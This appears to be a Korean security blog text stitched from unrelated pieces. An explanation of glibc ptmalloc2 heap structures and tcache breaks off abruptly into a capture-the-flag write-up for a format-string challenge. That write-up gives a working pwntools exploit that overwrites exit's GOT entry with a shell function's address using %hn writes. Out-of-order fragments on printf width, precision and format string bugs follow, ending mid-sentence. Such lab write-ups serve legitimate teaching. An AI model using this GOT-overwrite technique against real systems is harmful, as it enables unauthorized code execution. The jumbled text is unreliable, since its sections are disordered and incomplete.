Linux의 동적 메모리 관리 프로세스 ptmalloc2의 주요 객체와 Tcache의 구성요소 및 동작과정
개요
운영체제에서 한정된 메모리 자원을 각 프로세스에 효율적으로 배분하는 일은 필수적인데, 이러한 역할을 해주는 것을 Memory Allocator라고 한다.
Memory Allocator는 사용되는 알고리즘에 따라 여러 종류가 있는데, Linux에서는 GLibc로 구현된 ptmalloc2를 사용한다. ptmalloc2는 프로세스 메모리의 Heap 영역에서, 동적으로 할당되고 해제되는 메모리 영역을 관리하여 메모리 할당의 속도를 향상하며 메모리의 낭비를 막아준다.
참고로 GLibc(GNU C Library)는 리눅스에서 가장 많이 사용되는 Libc(표준 C 라이브러리)이며 scanf, printf, malloc, free 등 기본적으로 필요한 함수들을 제공한다. 일반적으로 우리가 C언어를 작성할 때 사용하는 #include<stdio.h>가 있다.
ptmalloc2의 주요 객체
ptmalloc2가 관리하는 주요 객체로는 Chunk, Bin, Arena, Tcache가 있다. 여기서는 64bit 환경을 기준으로 소개한다.
1) Chunk
청크(Chunk)는 ptmalloc2이 할당한 메모리 공간을 말하며, 헤더와 데이터로 구성된다. 또한 청크는 메모리 동적 할당 시 Heap 영역에 생성되며, 해제 시 저장소에 보관되어 이후 같은 크기의 청크를 다시 할당하고자 할 때 보관된 청크를 다시 사용한다.
사용중인 청크와 해제된 청크의 구조
헤더 구성
크기 (64bit 기준)
설명
prev_size
8byte
인접한 직전 청크의 크기, 청크 병합 시 직전 청크를 찾는데 사용
size
8byte
현재 청크의 크기, 64bit 환경에서 하위 3bit는 청크 관리를 위한 flag로 사용
fd
8byte
연결 리스트에서 다음 청크의 주소
bk
8byte
연결 리스트에서 이전 청크의 주소
Heap 영역에 할당되어 사용중인 청크가 해제되면, 해제되는 청크의 헤더 부분에 fd와 bk 구성이 추가된다. 이는 연결 리스트(free list) 방식으로 관리되는 저장소에서 각각 다음 청크의 주소와 이전 청크의 주소를 가리키며 해제된 청크의 관리를 용이하게 한다.
2) Bin
Bin은 해제된 청크들을 보관하는 free list 구조체이며, 사용이 끝난 해제된 청크들이 보관된다. 청크의 크기에 따라 Fast bin, Small bin, Large bin, Unsorted bin으로 분류되며, 크게 두 개의 배열로 나뉘어 보관된다.
Arena의 Bin 구조
종류
개수
보관되는 청크의 크기 (64bit 기준)
병합 여부
보관 방식
Fast bin
10개 (7개만 사용)
32byte 이상 128byte 이하의 청크
X
단일 연결 리스트 (LIFO, Last In First Out)
Small bin
62개
32byte 이상 1,024byte 미만의 청크
O
원형 이중 연결 리스트 (FIFO, First In First Out)
Large bin
63개
1,024byte 이상의 청크
O
Unsorted bin
1개
Small bin / Large bin (분류되지 않은 청크 보관)
-
Fast bin은 작은 크기의 청크들을 관리하며 속도 및 효율성을 향상하기 위해 인접한 청크가 있어도 병합 과정을 진행하지 않는다. 또한 Unsorted bin에는 분류되지 못한 청크들이 존재하며, 이후 탐색된 청크들이 크기에 맞게 Small bin 또는 Large bin으로 분류된다. 이렇게 분류된 Small bin과 Large bin은 인접한 청크가 있으면 병합 과정을 수행하여 메모리의 단편화를 방지한다.
3) Arena
Arena는 서로 다른 메모리 영역을 공유하며 사용할 수 있도록 도와주는 Heap 영역이다. 이는 멀티 스레드 환경에서 한 스레드가 공유 자원을 독점하는 것을 막기 위해 도입된 개념으로 fastbin, smallbin, largebin 등의 정보를 모두 담고 있다. 여기서 ptmalloc2는 멀티 스레드 환경에서 자원의 독점을 막기 위하여 최대 64개의 Arena를 생성할 수 있도록 한다.
Tcache란?
ptmalloc2에서 Arena는 최대 64개를 생성할 수 있다고 하였다. 그러나 64개만으로도 충분하지 못할 경우가 생기는데, 이를 해결하기 위하여 GLibc2.26부터 Tcache라는 기술이 도입되었다.
Tcache(Thread local Caching)란 각 스레드 내에서해제된 청크를 보관하는 저장소를 말하며, 해제된 청크를 Arena가 아닌 스레드 내 독립적으로 보관하고 재사용하며 Heap 영역의 작업을 효율적으로 도와준다.
각 스레드 별로 최대 64개의 Tcache bin을 생성할 수 있으며, 하나의 Tcache bin에는 최대 7개의 청크를 보관할 수 있다. 7개가 모두 사용되면 그 이후의 해제된 청크는 Arena의 영역에서 관리하게 된다.
종류
개수
보관되는 청크의 크기 (64bit 기준)
병합 여부
보관 방식
Tcache bin
64개 (1개당 7개의 청크)
24byte 이상 1032byte 이하의 청크
X
단일 연결 리스트 (LIFO, Last In First Out)
또한, Tcache bin에 있는 청크들을 Arena의 bin에 있는 청크들과는 다른 헤더 구조를 가진다. Tcache bin은 next라는 포인터 변수를 사용하여 동일한 크기의 청크들을 연결하여 관리한다.
Tcache에서의 해제된 청크 구조
Tcache의 구성요소 및 동작과정
Tcache bin은 tcache_entry 및 tcache_perthread_struct 구조체로 보관되며, Tcache의 여러 함수를 통해 각 구조체를 생성하고 관리된다.
tcache_entry
각 Tcache bin은 tcache_entry라는 구조체로 관리되며, 최대 7개의 같은 크기를 갖는 청크들이 next 포인터를 통해 연결된다.
tcache_entry의 구조
tcache_perthread_struct
또한, 이러한 64개의 Tcache bin, 즉 64개의 tcache_entry를 tcache_perthread_struct라는 구조체를 통해 관리한다. 해당 구조체는 두 개의 배열을 가지는데, 서로 다른 크기의 청크들을 가지는 tcache_entry를 entries[ ] 배열에 차례대로 보관하며, counts[ ] 배열에 해당 엔트리가 가지는 청크의 개수를 기록한다.
해당 소스 코드를 살펴보면 main() 함수 내에 있는 printf() 함수에서 FSB(Format String Buf) 취약점이 발생한다.
또한 셸을 호출하는 get_shell() 함수를 소스 코드 내 정의하고 있으므로, FSB 취약점을 통해 exit() 함수의 GOT에 get_shell() 함수의 주소값을 덮어씌우면 셸을 획득할 수 있다.
문제 풀이
먼저 pwndbg를 통해 get_shell() 함수의 주소를 확인한다.
get_shell() : 0x08048609
pwndbg를 통해 확인한 get_shell() 함수의 주소
get_shell() 함수의 주소값을 넣어줄 <exit@got.plt>의 주소도 확인해 준다.
<exit@got.plt> : 0x0804a024
pwndbg를 통해 확인한 <exit@got.plt>의 주소
이제 취약점을 통해 read() 함수를 통해 형식 지정자 %n을 이용하여 exit()의 GOT 값을 get_shell()의 주소값으로 덮어쓰는 페이로드를 작성할 수 있다.
그러나, get_shell()의 4byte의 주소의 값을 그대로 덮어 쓰려하면 범위를 벗어나기 때문에 2byte씩 나누어 써주어야 한다. 이때 4byte씩 덮어쓰는 %n이 아닌 2byte씩 덮어쓰는 %hn을 사용한다.
Input : [값을 넣을 주소]%[참조할 인자의 인덱스]$n => [X] Input : [값을 넣을 주소][값을 넣을 주소]%[참조할 인자의 인덱스]$hn%[참조할 인자의 인덱스]$hn => [O]
또한 리틀엔디안 방식이므로 get_shell() 함수의 상위 2byte 주소값을 <exit@got.plt+2>에, 하위 2byte 주소값을 <exit@got.plt>에 써주어야 한다. 이후 소스 코드의 흐름을 따라 exit() 함수가 호출되면, 변조된 GOT 값을 통해 get_shell() 함수가 호출되어 셸을 획득할 수 있다.
GOT Overwite를 통해 셸을 호출하는 과정
get_shell() 함수의 주소값을 2byte씩 나누어 <exit@got.plt+2>, <exit@got.plt> 주소에 각각 덮어쓰기를 할 것이므로, 바이너리를 실행하여 다음과 같이 8byte 크기의 문자열을 형식 지정자와 같이 입력하여 입력한 값이 저장되는 위치를 확인한다.
Input : AAAABBBB %p %p %p %p %p
./fsb002의 출력 결과를 통해 확인한 스택값pwndbg를 통해 확인한 ./fsb002의 스택 구조
출력 결과 및 스택 값을 살펴보면, 첫 번째 위치부터 입력값이 순차적으로 들어있음을 확인할 수 있다. "AAAABBBB" 대신 exit() 함수의 GOT 주소값을 나누어 넣어주고 형식 지정자 %hn을 사용하면 해당 주소에 있는 값을 조작할 수 있다.
다음과 같은 형식으로 입력하면 exit() 함수의 GOT 주소에 get_shell() 함수 주소값을 덮어쓸 수 있다.
<exit@got.plt+2> : exit() 함수의 got 주소에서 2byte 뒤에 있는 주소값 4byte
<exit@got.plt> : exit() 함수의 got 주소값 4byte
x : get_shell() 함수 주소값의 상위 2byte (int형)
y : get_shell() 함수 주소값의 하위 2byte(int형)
이후 exit() 함수가 호출되면 조작된 GOT 값을 통해 셸이 실행된다.
익스플로잇
python3과 pwntools 모듈을 이용한 최종 익스플로잇 코드는 다음과 같다. 아래와 같이 GOT의 값은 모듈 내장 함수를 사용하여 획득할 수도 있다.
from pwn import *
p = remote("host3.dreamhack.games", 18047)
e = ELF("./fsb002")
exit_got = e.got["exit"]
payload = p32(exit_got+2) + p32(exit_got)
payload += b"%2044c%1$hn%32261c%2$hn"
p.sendline(payload)
p.interactive()
-> 출력 시 최소 너비를 지정하며, 출력 데이터가 최소 너비보다 짧을 시 공백문자로 패딩 한다.
[ 종류 ]
정수
정수의 값 만큼을 최소 너비로 지정
*
인자의 값 만큼을 최소 너비로 지정
5. Precision
%[parameter][flag][width][.precision]Conversion
-> 실수 출력 시 소수점의 자릿수를 설정하며, 해당 필드의 앞에 '.' 기호를 붙인다.
[ 예시 ]
printf("%.3f", 5.17489); // 5.174
포맷 스트링 버그(Format String Bug, FSB)란?
포맷 스트링 버그(Format String Bug, FSB)는 포맷 스트링을 사용하는 함수들을 올바르게 사용하지 못해 발생하게 되는 취약점이다.
포맷 스트링을 사용하는 함수의 올바른 사용은 포맷 스트링을 지정하고 사용하는 수만큼 그에 따른 올바른 형식의 인자를 지정해 주는 것이다. 아래의 코드와 같이 두 개의 printf() 함수들은 같은 결과 값을 출력하나, 두 번째의 printf() 함수에는 취약점이 존재한다.
#include <stdio.h>
int main() {
char str[10];
printf("%s", str); // 올바른 사용
printf(str); // 올바르지 못한 사용
return 0;
}
위의 두 번째 prnitf() 함수는 포맷 스트링 형식 사용 및 인자의 지정 없이 변수 str에 있는 값을 printf() 함수의 인자로 바로 가져온다.
만약 아래의 코드와 같이 해당 변수에 포맷 스트링 형식의 문자열이 존재할 경우, printf() 함수는 그것을 포맷 스트링 형식으로 인식하여 인자로 잘못된 값을 가져오는 버그가 발생하게 된다.